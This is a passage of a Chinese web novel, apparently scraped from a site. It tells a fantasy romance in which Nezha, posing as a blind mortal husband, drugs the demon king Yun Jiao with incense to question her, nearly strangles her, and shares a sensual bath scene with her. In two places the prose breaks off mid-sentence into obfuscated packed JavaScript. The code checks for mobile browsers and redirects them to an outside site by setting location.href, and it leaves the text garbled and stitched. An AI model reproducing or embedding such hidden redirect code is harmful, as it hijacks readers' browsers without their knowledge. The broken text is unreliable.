屏风后摆了一口雕花铜缸,里头盛着两株赤色潋滟的红莲。 在偌大的殿室内不算突兀,可云皎看着身旁总不经意流露几分肃杀之气的夫君,又觉得他…不像是爱养莲花的人。 少年今夜换了身水色长袍,春衫轻薄,将他颀长的身线完全勾勒了出来,不再是充满攻击性的艳色。 但他是习过武的。 习武之人的底子刻在骨子里,即便眼盲,那份行步如风的利落,薄衫下隐约贲张的力量轮廓,未曾消减半分。 “今日置办的。”哪吒回道。 云皎若有所思,“你喜欢莲花啊。” 哪吒并不介意她会因此看出什么。在他看来,若云皎仍警惕未消,至多是杀她了事,再自行探查。 他嗯了一声。 好在经过多番确认,云皎此时真觉得他是凡人,盈盈笑道:“库房中还有好多更精巧的玉缸,你既喜欢,明日我便让小妖们搬来,再为你种上莲花。” 她目光扫视殿室,又落在一处空旷角落,“你瞧不见,我看那儿还能摆好几缸呢。” “后山还有片池塘,到时也栽满莲花,你能闻见香味儿。”云皎补充着。 哪吒不明她做这些有何意义。 但很快,他自觉知道了。 云皎毫无预兆地猛地扑回他怀里,力道蛮横得惊人。 哪吒猝不及防,被她撞得踉跄几步,靠坐在旁侧的圆凳上才稳住身形,下意识伸手,恰好扣住她纤细的腰肢。 “云皎!”他低斥。 她却顺势跨坐在他身上,温软的身躯紧贴,带着微醺热意。仰起的脸颊贴着他下颌,亲昵至极,鬓发轻蹭过的痒意一路钻至他喉结深处。 有一只蝴蝶簪子缀着彩珠流苏,随着她偏头,也轻轻扫过他微敞的领口皮肤。 哪吒的手臂僵在她臀腿下方,既是防止她滑落,也像被钉在了那里。 “宝贝,你也好香啊,像莲花一样香。”她笑嘻嘻道,“让我亲一口。” 说话间,指尖划过他腰侧,只觉隔着衣料都能感受到其腰腹紧致有力,壁垒分明,没有丝毫赘余。 哪吒下颌绷紧,也觉香风拂面,不由沉声冷斥:“云皎,你怎能发出这种声音?” 云皎:? 发出这种声音怎么了。 她将他黏得很紧,将声音压得更低:“怎么?你不喜欢我的气泡音吗?” 钓妹必备气泡音,竟然不管用! 哪吒眉心跳动,两人身体严丝合缝,她仰起那张昳丽的小脸,秀颈扬长,胸脯随着呼吸微微起伏,柔软与热度透过薄衫源源不断传来。 似觉得他瞧不见,两腮泛着醉意的娇颜显出好奇,还毫无知觉地打量着他。 “我不喜——”哪吒唇角翕动。 云皎忽地想起来,他的确不喜欢气泡音,他喜欢夹子! “好夫君,你别乱动。”于是她软下声音。 他根本没动,动的是她,四下蛮横胡摸。 酒壮怂人胆,何况她本不怂,掐着他窄腰的手越发放肆,一边还胡搅蛮缠道:“让我来检查下夫君的腰有没有事,一把好腰可别撞坏了……” 软哝话语果真如奇效般叫他静了一瞬,但他再开口时,音色更显隐忍。 “云皎,你今日去哪儿了?”哪吒的腰腹绷得很紧,一股莫名的燥热酝酿于此,他意图转移话题,不然自己真会忍不住拧断她纤细的脖子。 云皎的动作果然顿住,她扭动着想从他身上下来,伸手去够桌上的茶壶茶杯,指尖却在中途拐了个弯,勾住了他的小指。 少年偏头,抿着唇似有疑。 云皎就知道他没觉悟,将茶盏往他左掌心一塞,另捉他右手,叫他提壶,而后命令道:“给我倒茶!” 空气骤然凝滞了一瞬。 她没醉,清醒得很,此番所有行径都是本性恣意。 哪吒心知肚明,白纱下的目光锐利地锁着她,最终,他几不可闻地呼出一口气,依言照做。 眼盲的人没有准头,他倒,她便倚在他身上看着,至茶水七分满时,指尖灵光闪过,精准地托住他手腕止住水流。 “夫君问了个好问题,但我说了,你无需过问我的事,还不明白么?” 哪吒喉间溢出一声低冷的轻笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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都养小夫君了,对他霸道妖王狠狠爱,承包他的衣柜与吃住,还在乎他送的贵不贵? 云皎在这一刻不得不承认,当了妖王有了万贯钱财,她是飘了,贪了,堕落了……可他长得实在太好看了啊,若可以,再来十个八个她也养得起,嘻嘻。 所以什么时候才能再捡到十个? “夫人。” 哪吒出声唤回她飘远的思绪。 因要装作眼盲,他摸索着,手指一点点覆上她的手背,带着薄茧的指腹抵按她纤细的手指,做出辨识的模样,才缓缓将一枚金戒套入她指间。 戒指触及肌肤的刹那,不知为何,微妙的颤栗感随之而来。 云皎定睛一看,一下就认出这是他带来的戒指,这两日都在手上未曾褪下。 ……金戒指,金戒,金圈? 某一瞬,那种不对劲的感觉又涌上来了。 “为何将此物赠我?”她抬手,秀眉微蹙,指尖细细抚过戒身,审视着。 “夫人果真不喜。”哪吒叹道,“莲之身无长物,入山所携不过此戒,此乃……” “我懂我懂。”眼看漂亮夫君神色黯然,云皎只得道,“是不是传家宝?对你意义非凡?我喜欢,我可喜欢啦。” 那点疑虑暂且压下。 哪吒淡笑:“……算是。” 如此一来,另一种微妙的契合感占了上风,云皎顺势道:“夫君,正巧,今日我也新得了一枚金戒,正是要送与你的。” 谁知在西游世界也能交换对戒,也算把结婚的仪式感补全面了。 “你的给了我,我的给你,彼此交换,情浓如水。”云皎从袖中掏出锦袋,将那枚精巧无双的金戒取出。 哪吒凝眸,待看清后,眼中乍现一股凛然阴郁的寒意。 11.你喝醉了 “夫君?”云皎笑着,“怎么,我挑的,你也不喜吗?” 那点朦薄醉意早已散去,云皎眼中一派清明。 她散漫地将戒指递给他,并未如他为她戴上那般主动,她让他自己选。 哪吒明白她并不好糊弄。 可他心底却蓦然生出一股憎恶,并非对她,而是——灵山让他出面探查,背地里却交予云皎此物,这算什么? “什么动静?”云皎神色一凛,听闻旁侧有火星迸裂声。 她侧目看去,只见屋角烛台倾倒,火势极快蔓延,便指尖轻抬,一缕水汽掠过,顷刻将火扑灭。 “夫人?”哪吒佯装未觉,“有硝火的气息。” 云皎转回头,见少年已将那枚金戒戴于指上,清隽的莲纹衬得他手指愈发白皙修长,宛如玉琢。 她托起他的手细看,“无碍,火已被我扑灭。” “夜里会有小妖守夜,就在门外。”她又思忖道,“今日指给你的几个小妖,还有麦旋风,往后就跟着你吧。你眼疾不便,它们会照顾你。” 酒既醒了,云皎本也只是来看看他的屋布置得如何,这便要回去了。 怎料夫君又攥住了她的手腕。 “怎么了?” “夫人,你喝醉了。” 云皎迷惑,“我没啊,只是沾了些酒气,我恰好去沐浴一番。” 他不多言,只摇头:“莫急,扶我去水缸处。” 云皎微顿,还是依言照做,不知他要做甚。 只见少年缓缓摩挲着缸沿,修长的指尖沾上水珠,而后触到红莲,将两株其中一株择下,送去她怀里。 “莲之?” “这花必然开得极盛,夫人,赠予你。” 云皎错愕,才确定冷淡的夫君是真要送花给她,片刻后,扬起笑容:“谢谢夫君。” 但她的笑是纯粹的,不见缠绵,动容也难以瞧清。 白纱下,哪吒眸间闪过微光。 一切尚在他掌控,但这两日,唯一叫他略有诧异的是—— 云皎竟真是意志坚定之人,迷香对她有效,可并未坚持太久。 一而再、再而三违背他意愿,便是证据。 “夫人。”他揽过她的肩,再度轻道,“你喝醉了。” “……嗯?” 莲香旷然怡人,萦绕鼻尖,很快浸润肺腑,云皎微微蹙眉,一时分不清是对方身上的香,还是手中莲花的香。 好晕,她愕然,喃喃着:“夫君,我好像真喝醉了……” 他“嗯”了一声,扶住踉跄的她,听她在耳畔轻着声要求:“带我回我的寝殿。” 这下他微顿,似在犹豫。 “夫君,我好难受。”云皎软着身子,呼出的热气熨烫他耳侧的皮肤,“外面是不是下雨了?大雨……” 山外的确下起了淅淅沥沥的小雨,但寝殿在山洞深处,这不该是一个“凡人”能察觉的动静。 哪吒将她拦腰横抱,并未多言。 * 云皎的寝殿就在隔壁,推门经小妖指引,哪吒很快带着她回去。 殿内暖香缭绕,雾霭蜿蜒如流云。但这香气会混淆他的莲香,他拂袖灭去。 即便路已牢记在心,怀中人亦意识朦胧,少年依旧步履缓慢。他在沉思,垂眸看她。 手上的金戒恰好抵在她后背,云皎不适,无知觉地扭动起来。 哪吒顺势将她放在床榻上。 下一刻,他眼神倏沉,骤然扼住她纤细的脖颈。 “唔……” 少女的脸颊很快染上绯色,衬得容颜愈发秾丽,她蹙起秀眉,卷翘的睫也在颤动,脆弱得像蝶翼,毫不费力就能碾碎。 饶是这样张扬跋扈的妖王,只要他想,也可轻易杀死。 ——只因他是世人言之的杀神。 甚至他指节上那枚金戒,凸起的纹路硌在她薄嫩的肌肤上,一定是更难受的感触。 哪吒沉默地注视着她,那金戒却不断占据着视线,越看令人厌烦。 金戒,金圈,金箍……就算此刻他手上所戴是假的。 可观音给她的,是真的。 神佛皆如此,认定他会大开杀戒。他们将他视作一把锋锐的刀,又觉这把刀戾气太甚,缺乏管束。 多么可笑。 干脆他便如他们所愿,就这般去做? 可力气才加重一点,少女微凉的小手覆上他手背,她指间乾坤圈磕碰到他的戒指,摩挲着,哼唧着什么。 “好香,好香……”她真以为自己醉了,音色绵软,“夫君,你好香,给我亲。” “……” 哪吒的手骤然绷紧,但察觉到她呼吸不畅,微微喘息起来,便鬼使神差地彻底松开。 只是掌心仍贴着她的颈,凝视她。 她的手无意识地遮住那枚金戒,指节微曲,指尖也圆润可爱,很是赏心悦目。 唯一不妥的是,手腕过于白净,昨夜的红痕已彻底淡去。 他忽觉烦躁。 心底涌起一种近乎怪诞的冲动,想让她手上、身上,处处都染上痕迹,不该褪去,不能消逝。 最后,他拇指抵住她微张的朱唇,将盈润饱满的唇肉压下去一个小弧,似想以此留下些什么。 但松手时,云皎也只是唇瓣发白。 “亲?”他低声自问,似嘲似叹,“我不会亲人。” ——他只会杀人。 静立良久,少年终是起身,拂袖而去。 * 夜雨渐浓,不知不觉已化作瓢泼之势。浓云翻滚,雷声低沉,暴雨倾覆天地。 金拱门洞内依旧安宁如常。 因暴雨,哪吒预料云皎不会与他出门,昨夜她允他四下走动,他便由“小妖”引路,在洞中细细探查。 “小妖”不言不语,听话木讷。 ——因为原本的小妖已被他灭口,偷梁换柱。 一日无事,正合他意。 翌日,依旧风平浪静。 待到第三日,云皎仍未现身,乾坤圈告知他对方仍在山中,但他已觉察异样。 新婚当夜都能跑出去的妖,怎会将自己关足三日? 哪吒找到误雪。 误雪带他绕开前殿,往后山洞穴而去。 实际上,误雪在云皎面前表现得还算妥帖,可私下第一次面见这位“大王夫君”,她仍有不喜。 在她心中,这桩婚事实在仓促。 见“莲之”始终缄默不言,她有意敲打:“大王的寝殿与后山原不许人踏足,但郎君来后,便下令让郎君通行了。” 但通行,自然是云皎在的情况,若云皎不在,这几处都是禁地。 哪吒心知肚明,无意搭腔。 后山很快到了,一处隐蔽洞穴前,误雪与几个小妖侧身让位,“我等不便入内,内有台阶,郎君慢行。” 哪吒犹自迈入。 有水声潺潺,起初幽暗难明,因无旁人在侧,他未刻意掩饰,步伐极为稳当。 很快,眼前映入一面偌大的琉璃绘山水屏风。 云皎颇爱挂画,他早见她寝殿中四处是画。昨夜他还发觉,她竟真将那副与孙悟空的“合影”挂了上去,看得他无端碍眼,只想一把火烧了。 还好此处不是。 哪吒微微眯眼,下一刻,目光倏然冷凝。 “谁?”云皎的声音自后传来。 而他于朦胧绘影中,瞧见了一条龙影。 很快龙影消散,即便有眼前白纱与薄透屏风阻隔,他仍在最后一刻窥清:那不是龙,它通体白洁光滑,无甚鳞片。 也没有龙角。 “是我。”他低低应着。 云皎沉默一瞬,“进来吧,夫君。” 这两日雨下得极大,大王山一带罕有这般雨势,她心知是不远处鹰愁涧里小白龙带来的动静,想忍过几天,再去整治。 每逢雨天,尤其暴雨,她便会头疼欲裂。 化作真身泡进池水里才好些。 可此处从无人踏足,忽然她有了个凡人夫君,又觉此等人外的心态不甚美观,还是重新化回了人形。 “你怎会来?”云皎音色清亮如常, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16192580|180710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见半分疲色,哪吒便未多想。 可当他转过屏风,瞧清偌大池中那道身影的刹那,脚步几不可察地顿了一下。 她的脸色极其苍白,似白玉褪去温润光泽。 但比之这异常,更让他脊背微僵的是…池中少女未着寸缕,如雪的肌肤在幽暗水光中白得夺目,又被病态的苍白染上易碎之感。 池水摇曳,一旁有小瀑布引水而来,水汽涌生,朦胧了彼此的眉眼。 云皎正头痛难忍,哪有心思想自己穿没穿衣服,澡堂子里泡澡不穿不是很正常吗?况且她的夫君是瞎子,瞧不见她。 “夫君。”她揉了揉眉角,“为何不说话?” 哪吒向前一步,白纱之下眸光低垂:“你在何处?水声嘈杂,难以辨位。” “往前走。” 他便顺从,一步步往前走去。 直至某处,她未再出声,只抬指凝出一缕灵光,止住他的脚步。 水声淙淙,云皎浮出水面的肩头凝着水珠,又顺着光滑肩线滑落。她听哪吒问道:“夫人在泡汤?” 她觉得不对,“你怎知?” 即便水声盈耳,也非是洗澡一种可能,且他说的是“泡汤”,并非简单的“洗濯”。 哪吒神色未动,平静答:“听声辨位,可知方才溅起的水声颇低,夫人在我低处。只是此处毫无热气,夫人在泡冷汤?” “……” 云皎仰头,他目视前方并未看她,但水雾已濡湿他覆眼的白纱,纱线下那双凤眸轮廓清晰,长睫微湿,显得格外生动,甚至锐利。 被点破后,她忽觉他的视线犹如实质,不甚自在。 她扬手召来屏风上搭着的雪色外袍,衣袂翩然落入水中,裹住窈窕的身形。 荡漾的水波却顷刻浸透薄衫,影影绰绰,不过欲盖弥彰,更添活色生香。 “你来找我何事?”她这才重新开口。 “夫人几日不在山中,为夫忧心甚重。” 哦,原来她这冷淡的夫君是会担心她的,云皎慵懒笑道:“是我忘了与你交代,那日说要带你下山还作数,只是要晚些。” 她只字不提自己为何在此处泡汤。 哪吒微垂首,瞬间,云皎觉得他目光如电,好似要看穿她,她脊背不自觉绷紧,再度生出警惕。 却听他温声:“夫人一连几日在此享乐,兴致甚高,却留莲之空守,着实狠心。” “我没——” “可见莲之在夫人心中,确是可随意打发的玩物,兴来时逗弄几下,兴尽便弃之不顾。” 害,说这话! 云皎砸吧砸吧嘴,其实她并没谈过恋爱,头一次面对独守空房的老公控诉,实话说,有点无措了。 “我只是调休…休息而已,好端端你说那么严重干嘛?” 不至于啊! 哪吒片刻未言。 与她近在咫尺,能更清楚瞧见她的憔悴,无意识蹙紧的柳眉,毫无血色的唇,还有微微颤栗的身躯…… 只是她以为他看不见,声线故作往常活泼。 为何? 她并未受伤,这几日也风平浪静。 “夫人既有如此雅兴,又未曾存心舍弃为夫,便由为夫帮你捏肩松乏吧。”哪吒心存疑虑,便想动手探查。 他摸清了云皎的性子,太过强硬会激起不忿,如炸毛的狸猫,唯有怀柔三分,理顺她的毛发,方可化解。 云皎果然挑眉,起了兴致。 他当即利落地褪去外袍入水,水花溅开,待逼近她时,她方觉察压迫,“等、等会儿,我想说待我换好衣服上岸——” 哪吒已拢过她的细肩,将她整个人拉进怀中。 高大劲挺的身躯顷刻能将少女的身形笼罩,云皎后背紧贴着他温热的胸膛,纤腰被他一手扣住。 “这水比我想象中冷。”他道。 对方一下贴得太近,云皎感到别扭,“那你还是上岸吧。” 回应她的却是更紧密的拥抱,温热的气息拂过她耳廓,丝丝缕缕钻入。 “夫人在此,我便不冷了。” 12.池中共浴 哪吒箍住她肩头,一寸寸往下按捏。 薄纱下的躯体娇小,肌肤赛雪欺霜,却非是弱柳扶风之态。流畅的身体线条,时而绷紧,透出习武淬炼出的柔韧肌理。 凡有法力者,经灵力灌汇筋骨,哪吒无法在她身上寻到任何瑕疵,连茧痕也不曾有。 但此刻他是凡躯。 他指腹薄茧碾过她后颈细嫩的肌肤,云皎猛地一颤,呼吸乱了节奏,胸口微微起伏。 水声泠泠间,云皎逼迫自己默念:我是皇帝我是皇帝,小事小事。 给她捏肩捶背而已!这是作为她夫君的本分。 可持续传来的酥麻痒意,却让她紧闭的眼睫颤动,似两扇不知所措的小蝶,艳色也攀上过分雪白的两颊,如微醺媚态。 “莲之。” 许久后,云皎哑声开口,“我知你习武,穴位拿捏精准,就是……” 话音未落,少年的指腹不经意蹭过丰盈绵軟,她的呼吸更急促起来。 他“目不能视”,动作间不免摸索,时而勾起难以言明的悸动,令云皎生出羞赧。 “嗯?”他应声,水声掩盖了语气里的敷衍,却掩不住指尖颇有兴致的探索。 随着一次次触过她的皮肉,哪吒又发现,看上去有力的曲线,捏起来却是惊人的软,如拢在手心的薄雪,稍加用力就会碎去般。 云皎轻声问:“你是何时眼盲的?” “三年之前。”哪吒随口编造。 他的手掌沿着她光滑的脊背缓缓下滑,有意无意拂过腰窝。 云皎强笑,“这几日我见你,只觉你气度深华,不似寻常凡人,倒像是世家公子。” 但莲香萦绕,逐渐令人呼吸不畅。 云皎不愿再忍耐,水面晃动,她捉住他游移的手。 “况且,你手法虽精,力道却掌握不准,可见不常做这些。”这一声,含着幽怨,“都把朕…咳,把我都捏痛了……” 哪吒被她握住的手微僵,他下意识松开五指,才发觉少女雪白的肩颈,甚至往下,都已浮起被他揉出的红痕。 深深浅浅,如雪地里绽放的梅,如那夜般,变得旖.旎。 果真是软得可以,只需一点点力道就留下痕迹…… “你究竟是何处人?”握住他手后,云皎心定几分,“你不会姓李吧。” 他一看就不是“外国人”,如今按西游的时间是李唐王朝,李是国姓,又有赐姓政策,导致姓李的人变多,但有一点准没错—— 姓李的不一定是贵族,但贵族里一定有姓李的。 背对着他,云皎看不清他的神色,潮气间却酝酿起一丝冷意,与更为黏稠的莲香。 下一瞬,少年竟反折她的手腕将她压低,紧贴她的后背,才慢条斯理答:“夫人慧眼,莲之从前确姓李,是偏邦贵族之后,因朝党倾轧举家流放,几经波折,只我一人活了下来。” 他语气坦然,毫无作伪的心虚,叫人不得不信。 但那香随着他贴近愈发幽深,铺天盖地涌入云皎鼻息。她的意识很快在浓香中迅速涣散、融化,勉力才道了句“你受苦了”。 哪吒未应,落在她身上的目光却深了几分。 他用的香太多了。 云皎只觉体.内涌起难言的燥热,一时无暇他顾,连他如此僭越、强压着她的行为都未能激起应有的反应。 此刻,好想化回原身,将面前的少年缠住,要用尾巴,一圈圈将他缠起来…… 少顷,哪吒松开了她手腕的钳制,却覆上她后脊末端的微微凹陷处。 云皎顿时一个激灵,清醒一瞬,隐忍道:“不要碰那儿。” 那儿,是龙与蛟都会有的逆鳞之处。 哪吒不甚在意她的警告,反用指尖揉弄那片肌肤,“夫人已知晓我的身世,我却不知夫人的……是否,不甚公平?” 云皎的腰很细,他张手便能整个握住,眼中暗芒浮动,倏然将她翻转面对自己。 香气已无知无觉弥漫在方寸之内。 水雾中,少年神色平静,覆眼的薄纱令他像一尊毫无感情的玉雕,莹莹光泽之下,无人能勘破这尊玉雕曾是由血浸染过的。 不是刻意诱哄,迷香助长了他的肆无忌惮,语气如有定论。 “所以,夫人是妖,是何方妖?” 云皎感到迷茫,香气像密布的网将她牢牢缚住,太多,太深,她愈发不适,小腹涌起更多的热意,如蚂蚁爬上四肢百骸,又痒又麻。 这样的感受似在某日晨起体会过,她张唇喘息,浑身软若无骨地倚在他身上。 “云皎,你的真身是什么?”哪吒的目光不由自主地在她湿润的唇上停留一瞬,旋即强迫自己移开,专注审问。 是龙,是蛟,还是…仅仅巧合。 他最憎恶的种族,他的夫人也是吗? 他搂按她的脊背,让她整个人贴在他身上,这是充满压迫的姿态,像是囚困的笼,令人无处可逃。 云皎眸中泛起水雾,莹润的锁骨因紧张耸起,紧贴于身的透白衣襟下隐约显出酥雪丘壑。她答不出,只见他的唇瓣一张一合,自己也忍不住咬住唇。 “云皎。”他喉结微滚,语气更沉了些,“……答话。” “我、我不知道。” 哪吒低下头靠近,两人鼻尖相抵,水珠沿着他微敞领口的精悍线条滚落,云皎忍不住咽了咽口水。 他似在思忖,眼底又掠过被戏弄的凉薄,轻笑道:“你不知道?” 她真的不知道。 云皎的脑子早就被搅乱了,她一直忍,仍抑不住源于本能的渴望,最终,她的目光死死锁住他近在咫尺的唇,像被蛊惑般仰头,一口咬了上去。 咬,更像舔.弄,生涩的勾缠间泄露不舍,含着他的唇肉厮磨,再战栗无措地离开。 那一瞬触感的柔软与温热也超出了哪吒的预期,带来一丝极其细微陌生的颤。 “难受…”云皎呢喃,“帮我揉揉。” 哪吒一怔,扣住她后颈逼她仰头。 他未言语,只是乌眸之中暗潮涌动,酝酿着冷到极致的情绪。 从他的角度看去,云皎的乌发完全落入水中,浸润,飘荡,湿透的碎发黏在泛红脸颊上,让她看起来像一个艳丽的水鬼。 水下,裙裾飘荡,她双蹆紧紧合拢,难受地蹭动,每一次都伴随细声轻哼,激起细微涟漪。 轻薄的白裙被水浸透后几乎无形,她温热的体温源源渡来。 哪吒心底与身体都蓦地涌出一股燥郁。 似憎恨,又似渴望,催人失控,而他厌恶这种失控感。她究竟是什么妖?叫他忍不住撕碎她,吮咬她…再狠狠地将她拆吞入腹。 “云皎……”他喃喃着。 强健的手臂渐渐搂住她的臀,他以膝顶开她的蹆,他心觉这不似情.欲,更像一种恶意,或许只有施加更多痛楚,才能撬开她的嘴? 他却眼见云皎顿时如寻到了渴望的源泉,露出痴缠情态,勾着他的腰身想贴得更近。 她急切仰头,而他下意识俯身,彼此的唇再度贴近,气息相触,若即若离。 若不说,这会是折磨。 若说了,哪吒眸色渐深…… 他没有深想下去,计较后果是懦弱者才做的事,少年摩挲着她光滑的脊背,替她揉了揉腰窝。 云皎却微张唇,发出不满的哼喘:“不对…不是这里。” 他一顿,也似不满她的抗拒,让她贴得更近了些,力道也更重了些。 她额间沁出薄汗,痛苦地皱起眉,“是眉角,莲…莲之,替我揉揉眉角,好疼……” 很痛,真的很痛。 若是往常,神智清明时,云皎绝不会说这样的话。 可是她意 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方才还柔弱倚着他的少女推开他,两人亲密的距离被拉远。但她对发生的事印象模糊,脑海里凑不齐完整记忆,先顾眼下。 “你先回岸上。”她音色仍带着软糯鼻音,命令人却冷静。 哪吒垂头,冰凉白纱蹭过她温热的脸颊,才应了是。 云皎不免一僵,不再看他。 待他上岸,手一拂动,满池温凉的水霎时变得冰寒刺骨,她闭目浸润其中,恨不得将脑袋都整个钻进去。 哪吒回首,见她本就无甚血色的唇被冻得煞白,甚至发紫,他紧紧盯着她,心起一种压抑的不快。 何以如此? 方才的感受,一点记忆都不想留下吗? 直到面颊绯红消退,云皎才呼出一口气,飞身上岸,另披了件白袍。 水珠顺着蹆根往下坠落,蜿蜒一路湿漉漉的痕,她回想发生的事,总觉得一时分不清是泉水,还是…… 脸又红了,她拍拍脸,在心底怒骂自己真是色欲熏心。 闻到人家身上的香就被迷得七荤八素,像皇帝见了祸国妖妃,恨不得当场把他做了,真是……嗯?妖妃妖妃,要不给他封号香妃吧? 香妃只是凡人,冷水操办,冻着如何是好? 云皎晃了晃脑袋,把乌发上的水珠抖落不少,企图再抖出些水来,不许自己再想这些有的没的,此刻可有正事。 她整个人背对哪吒,飞快拿起案上口脂抹了抹。 “出去吧。”她先用法力蒸干了哪吒的衣袍,再是自己的。 哪吒的指尖倏然动了动,想抬起手,替她抹去额间莹润的冷汗——她仍旧头疼,却在强撑。 好在云皎自行先察觉,掏出一方丝帕拭汗,动作熟稔利落。 “误雪!” 她感应到误雪还守在外头,领着哪吒往外走,吩咐道:“你带郎君先回寝殿,麦乐鸡随我去前山。” 外头依然暴雨倾盆,云皎随手择下一片伸来洞口的树枝,吹了口气将其变大成伞,递给误雪。 柔弱夫君,需得好生照应。 但她不知柔弱夫君也在身后看她。 一袭白衣胜雪,乌发仅用一根玉簪挽起,不似往常的妍丽娇俏,过于单薄的颜色让少女的身躯更加纤细,如藤枝,顷刻会被风雨摧折。 哪吒慧心灵性,颖悟绝人,很快便想通其中关窍——是雨,连日的暴雨,令她头痛不已。 “莲之?”云皎唤他。 他“嗯”了一声。 “那你便先回去,你是凡人,诸妖斗法恐伤到你。” “嗯。” 虽不知她雨天头疼的缘由,但他已明为何暴雨,心中思忖着去鹰愁涧一趟。 13.众妖之首 杀神降世,往往毫无征兆。 来临之时,却比狂风骤雨还要可怖。 鹰愁涧的雨势比大王山更烈。狂风呜咽,雨点如锤,狠狠砸向大地,摧弯草木。 四野昏沉,尽被愁云惨雾笼罩。 直至一抹鲜亮红绸撕裂雨幕,肆无忌惮搅入潭水,荡起剧烈风浪。 小白龙正因被贬气闷,深水龙无法适应淡水,他浑身痒痛难耐,哪怕化作龙形也无济于事,周身的水灵之息不断外泄,造成瓢泼雨势。 ——怎知红绫倏忽袭至眼前,他被五花大绑,那绫缎破开坚硬的龙鳞,勒入皮肉,瞬间见血。 血气染红潭水,他发出凄厉龙鸣,比之疼痛,心底的恐惧也在蔓延。 “三…三太子,哪吒三太子……” 这般法器,于龙族而言犹如梦魇。无人不晓,千年前,正是这抹混天绫将东海搅得天翻地覆。 红绫将他狠狠拽出潭底,一路拖行,龙身磨过粗粝石子,使他狼狈不堪。 但潭外,却没有预想中冷戾恶煞的神仙身影。 敖烈仅闻其声,干脆,且杀意决绝。 “若再行作乱降雨之事,吾杀之。” 敖烈打了个寒噤,法器的主人之所以被称为杀神,便是因被他杀的人不入轮回,会彻底魂飞魄散。莲花仙躯不沾因果,只杀不渡。 怎么办,有点怕。 但他是正义之士,对方跋扈不羁他就要指正,忍不住反驳:“哪吒太子,即便你今时身居高位,也不可肆意打杀。我为龙族,本行司雨之事,况我在此,乃是身负使命——” “是么?”哪吒的声音自远方传来,依旧清晰,“身负使命?何等使命,当牛做马,听凭调令,如死物一般。” 他哂笑:“既是死物,何足挂齿。海中龙族甚多,死了一条,满天神佛自会再寻一条。” 分明是如初雪消融的温润声线,却森寒凛然。 敖烈心底蓦地一震,明明该愤懑,又泛起一丝茫然,他隐隐察觉哪吒话中有话。 “你是在说我,还是——”仍对他敖丙兄长心怀恶意。 混天绫猛地将他扯向空中,如戏弄牲畜般轻蔑摆弄。半晌,才将他重重摔回潭底。 未曾现身的神明不曾告诫第二句,因此等行径,已充斥乖戾警示。 四周重归寂静。 * 漫天的雨始终不停。 沉云滚滚,乌雷如鼓,云皎周身施避水诀,踏在雨中,仰首看了看天色。 她叹了口气,不动声色问误雪:“这雨下几日了?” “大王,有三日了。”误雪眉间带着忧虑,“大王山何曾有过此等暴雨?再这样下去,山洪倾泄,低洼积涝,山中草木、精怪幼兽恐都要遭殃……” 误雪本是草木成精,对天象变化格外敏锐。她也感应到事出有因,但云皎尚未发话,她不会擅自行动。 三日是个界限,三日内万物安然无虞,若雨势还不停,便会成灾。 云皎拨动指上金戒,“处理完前山事宜,我去趟鹰愁涧。” 误雪喜道:“有劳大王费心。” 云皎遂不再多言,带领小妖往前山而去。 大王山前山广袤,因践行“苟”道,不如后山讲究排场,未设什么恢弘门头,只借千年古树天然弯曲成一道拱门,质朴不失气韵。 还未至,云皎便闻到空气中弥漫的血腥气,并着喧嚣兵刃声。 一条狰狞的白色巨蛇正与一只黑熊精激烈缠斗。 她神色微沉,广袖一甩,一柄泛着冰寒灵气的长剑破空而去。剑身如霜,凝结的雪点簌簌坠落,凡经之处草木冰封,又被误雪小心化解。 看上去像是配合战,但那柄剑毫无顾忌,势不可挡,凌空直刺蛇妖七寸。 熊妖也被森寒剑气逼得连连后退。 “嘶啊——!” 蛇妖被剑钉在原地,围观的妖群惊骇失色,回头看去——便见它们的大王云皎,正从众妖簇拥中缓步走来。 在大王山当差的小妖大多见过云皎,皆知她并非外界传闻的凶神恶煞,反倒生得容色昳丽,肌骨莹润,有如仙子误落凡世。 人如其名,其姿似云间皎月。 只是化为人身犹带少女的青涩,那张脸颊柔润精致,明眸善睐,乍看像是年画里走出来的福娃娃,灵气明媚又讨喜,加之她常未语先笑,令人忍不住亲近。 “大王!”群妖如释重负,高喊。 云皎却诧异地瞥了眼那只黑熊精。 是她大王山的妖么,都没工牌,就站这儿。 她缓步走至扭曲的白蛇前,还未开口,对方便抢先厉声道:“大王,你可要为我做主!是这群小妖欺辱我,不给我吃食,存心饿着我——” “大王!”另一只负伤的小妖愤懑接话,“明明是它好吃懒做,贪婪狡诈,自打进山来从不做事,却照常索要报酬,若不给便伤妖伤人。苍狼将军明知此事,却瞒下不报,只怕大王责怪办事不力!” 大王山其下三十三妖洞,云皎占下山头,但无意轰赶妖群,而是建立了一套管理体系:由白菰误雪统辖各位妖王,妖王再自治麾下小妖,权责清晰,各司其职。 苍狼将军正是三十三妖王之一,这蛇妖便是其下小妖。 身为数万妖众之首,云皎深知管理的要义在于决策与引导。事无巨细、一手抓全只会一团乱,一刀切,不如抓大放小,适当放权,留出空间。 这是现代职场学的智慧。 但有“人”的地方就有江湖,不免偶有纷争。 听了两方言辞,云皎问蛇妖道:“是你杀了人,且杀了妖?” 蛇妖一愣,随即争辩,“杀了不中用的东西罢了!那些孱弱的人与妖,本来也对大王无甚用处。” 妖的思维往往直接而赤裸,弱肉强食本是这个世界的常态,许多妖洞中也默认武力竞争、生死自负。 云皎却对误雪道:“你再将大王山的规定,同这小蛇说一遍。” 误雪应了是,看蛇妖的眼神已像死物。 “凡入大王山者,不欺同僚,不妄杀生,按工行事,按功领酬。” 就这么简单。 蛇妖既入大王山,自然听过这规矩。它听过,却明知故犯,便知他并不真心服从。 狼都没搞狼性文化,他倒想搞上了。 